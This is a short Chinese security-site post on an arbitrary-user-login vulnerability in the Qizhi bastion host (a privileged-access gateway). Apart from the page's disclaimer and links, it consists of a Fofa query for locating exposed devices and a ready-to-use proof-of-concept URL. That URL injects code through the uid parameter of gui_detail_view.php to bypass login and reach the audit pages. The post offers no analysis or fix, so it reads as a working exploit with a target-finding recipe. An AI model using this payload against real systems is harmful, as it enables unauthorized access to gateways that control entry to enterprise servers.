齐治堡垒机 任意用户登录漏洞（新）

admin
admin
admin
139164
文章
114
评论
2021年4月10日14:32:26评论512 views字数 390阅读1分18秒阅读模式

齐治堡垒机 任意用户登录漏洞（新）

Fofa：app="齐治科技-堡垒机"

POC：

http://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97)%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm

 

URL：https://*.*.*.*/audit/browse.php

相关推荐: 【学员笔记分享】二进制逆向学习笔记：汇编之通用寄存器

【重要提示】因为公众号改了推送规则，一些读者反映有时收不到文章更新，不想错过的老铁可以这样：1、星标：点击公众号头像右上角的小人-然后点击点击右上角的“…”-设为星标。2、分享、赞、在看：在每篇文章下方点亮“分享”、“赞”、“在看”，只有多点，微信才会判定你喜…

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月10日14:32:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   齐治堡垒机 任意用户登录漏洞（新）https://cn-sec.com/archives/331697.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息